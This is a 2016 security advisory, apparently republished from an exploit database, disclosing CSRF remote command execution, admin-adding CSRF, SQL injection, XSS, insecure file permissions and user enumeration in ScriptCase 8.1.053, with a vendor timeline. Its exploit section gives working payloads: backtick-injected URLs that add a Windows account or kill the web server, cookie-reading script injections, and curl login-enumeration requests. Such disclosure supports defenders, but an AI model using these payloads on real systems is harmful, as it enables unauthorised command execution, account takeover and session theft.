发布 2016-11-20 漏洞条目

ScriptCase 8.1.053 – Multiple Vulnerabilities

Exploit Source

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/SCRIPTCASE-PHP-WEB-TOOL-MULTIPLE-VULNERABILITIES.txt

[+] ISR: ApparitionSec

Vendor:

==================

www.scriptcase.net

Product:

===================

ScriptCase

v8.1.053, v8.1.051, v8.1.43.0

scriptcase_install_en_us_v8.1.053.exe

hash: ceaba1fce05556b82ab37582a7c907f4

scriptcase_install_en_us_v8.1.051.exe

hash: c3c9fbe085ab5462304c0c73c8698946

ScriptCase RAD is a development platform for PHP applications, is web

oriented and can be installed in a server in the internet.

Vulnerability Type:

=============================

CSRF Remote Command Execution

CSRF Add Admin

SQL Injection

Cross Site Scripting

Local Privlege Escalation (Insecure File Permissions)

User Enumeration / Token Bypass

Downloaded latest version v8.1.053, and still vulnerable.

CVE Reference:

==============

N/A

Vulnerability Details:

=====================

[CSRF Remote Command Execution]

Scriptcase has a remote command execution ailment via CSRF, if an

authenticated user clicks an attacker link etc. This can allow attackers

to run arbitrary system commands on the affected host and do things like

add accounts etc.

Scriptcase PHP code uses encryption / obfuscated so its not easy testing

but we can see here the error returned for PHP eval()'d code

when injecting an Array [] brackets or something as paremeter.

Parse error: syntax error, unexpected end of file, expecting ']' in C:\Program Files (x86)\NetMake\v81\wwwroot\scriptcase\devel\lib\php\functions2.inc.php(358) : eval()'d code on line 1

After trying to wrap a Windows system call in backtick "`" operators it

worked perfectly. This allowed me to add an arbitrary system

account to the affected system.

[CSRF]

There are several cross site request forgery vectors, allowing attackers to

add an Admin account to Scriptcase application etc.

[Cross Site Scripting]

Multiple XSS entry points exists within the vulnerable application both GET

and POST.

Example XSS vulnerable scriptcase code 'ajax_cod_apls' is not santized

before being processed by ajax HTTP post request.

$.ajax({

type: 'POST',

url: '/scriptcase/devel/iface/generate.php',

data:

'compile_app_ajax=S&gen_option=console&targ_frame=_self&console=yes&ajax_cod_apls='

+ str_open_apps,

success: function(s_result){

a_result = s_result.split('__compile_ajax_sep_row__');

nm_compile_gerar();

}

});

[Local Privilege Escalation]

scriptcase uses weak insecure file permissions as the “Everyone” group has

full access on it. Allowing low privileged users to

execute arbitrary code in the security context of ANY other users with

elevated privileges on the affected system.

"Everyone" encompasses all users who have logged in with a password as well

as built-in, non-password protected accounts such as Guest

and LOCAL_SERVICE.Any user (even guest) will be able to replace, modify or

change the file. This would allow an attacker the ability

to inject code or replace scriptcase used executables and have it run in

the context of the system.

[User Enumeration]

On failed scriptcase login the application returns one of the following in

the HTTP response.

"The login name provided is not registered on the system."

On a failed password but correct user name entered application HTTP

response returns.

"The password is incorrect."

Exploit code(s):

===============

[CSRF Remote Command Execution]

Note: we NEED to use backtick operators "`"

http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`start net user EVIL abc123 /add`

Verify...

c:\> net user

User accounts for \\hyp3rlinx

------------------------------------------------------------------------

Administrator hyp3rlinx Guest

EVIL Test Privileged-User

2) start Windows 'calc.exe'

http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`calc.exe`

http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`start

calc.exe`

**sometimes "calc.exe" doesnt appear but it is running use "tasklist /v |

findstr calc.exe" to verify it is in fact running.

4) Apache DOS (needs httpd environmental variable set)

http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`taskkill /f /im httpd.exe`

[SQL Injection]

AND boolean-based blind - WHERE or HAVING clause in 'nrLinhas' parameter "10 AND 2=2"

</form>

[CSRF Add Admin]

</form>

[CSRF mysql connect creation wizard]

<form action="

http://127.0.0.1:8081/scriptcase/devel/iface/admin_sys_allconections_create_wizard.php" method="post">

</form>

[Cross Site Scripting] - Successful in Firefox

XSS 1)

http://127.0.0.1:8081/scriptcase/devel/iface/app_import.php?option=%22/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

XSS 2)

http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=%22/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

XSS 3)

<form action="http://127.0.0.1:8081/scriptcase/devel/iface/generate.php"

method="post">

<input type="hidden" name="ajax_cod_apls"

value="<script>alert(document.cookie)</script>"/>

</form>

XSS 4)

<form action="http://127.0.0.1:8081/scriptcase/devel/iface/admin_user.php"

method="post">

<input type="hidden" name="filtroTexto"

value='"/><script>alert(document.cookie)</script>'>

</form>

[Local Privilege Escalations]

Proof.

C:\Program Files (x86)\NetMake\v81\components>cacls * | findstr Everyone |

C:\Program Files (x86)\NetMake\v81\components\apache Everyone:(ID)F

Everyone:(OI)(CI)(IO)(ID)

C:\Program Files (x86)\NetMake\v81\components\msodbcsql_x64.msi

Everyone:(ID)F

C:\Program Files (x86)\NetMake\v81\components\msodbcsql_x86.msi

Everyone:(ID)F

C:\Program Files (x86)\NetMake\v81\components\php Everyone:(ID)F

Everyone:(OI)(CI)(IO)(ID)F

C:\Program Files (x86)\NetMake\v81\wwwroot>cacls * | findstr Everyone | more

C:\Program Files (x86)\NetMake\v81\wwwroot\favicon.ico Everyone:(ID)F

C:\Program Files (x86)\NetMake\v81\wwwroot\index.php Everyone:(ID)F

C:\Program Files (x86)\NetMake\v81\wwwroot\robots.txt Everyone:(ID)F

C:\Program Files (x86)\NetMake\v81\wwwroot\scriptcase Everyone:(ID)F

Everyone:(OI)(CI)(IO)(ID)F

[User Account Enumeration / Token Bypass]

First off the stupid token used on the login FORM e.g. "form_login=<TOKEN>"

is totally useless you can put anything you like in it

and the application will happily process the request.

CURL Enumeration 1)

curl -i -v -X POST

http://127.0.0.1:8081/scriptcase/devel/iface/login.php?rand= -d

field_user=BOZO -d field_pass=1 -d ajax=nm -d option=login -d

form_login=STUPID-TOKEN -d language=en_US

HTTP Response:

"error1:The login name provided is not registered on the system."

CURL Enumeration 2)

curl -i -v -X POST

http://127.0.0.1:8081/scriptcase/devel/iface/login.php?rand= -d

field_user=admin -d field_pass=1 -d ajax=nm -d option=login -d

form_login=STUPID-TOKEN -d language=en_US

HTTP Response:

"error1:The password is incorrect."

Either way we know when we hit a valid account.

Disclosure Timeline:

=========================================

Vendor Notification: October 13, 2016

Vendor acknowledgement: October 14, 2016

Vendor request POC video: October 14, 2016

Sent vendor video link: October 14, 2016

Request update from vendor: October 17, 2016

Vendor reply: "under review"

Vendor requests video again: October 25, 2016

Request update from vendor: October 30, 2016

Vendor reply: "No information"

Request ETA: November 7, 2016

Request status: November 14, 2016

Vendor Unresponsive No More Replies

November 20, 2016 : Public Disclosure

Exploitation Technique:

=======================

Remote / Local

Severity Level:

================

High

[+] Disclaimer

The information contained within this advisory is supplied "as-is" with no

warranties or guarantees of fitness of use or otherwise.

Permission is hereby granted for the redistribution of this advisory,

provided that it is not altered except by reformatting it, and

that due credit is given. Permission is explicitly given for insertion in

vulnerability databases and similar, provided that due credit

is given to the author. The author is not responsible for any misuse of the

information contained herein and accepts no responsibility

for any damage caused by the use or misuse of this information. The author

prohibits any malicious use of security related information

or exploits by the author or elsewhere.

作者: hyp3rlinx
日期: 2016-11-20
类别: webapps
平台: php

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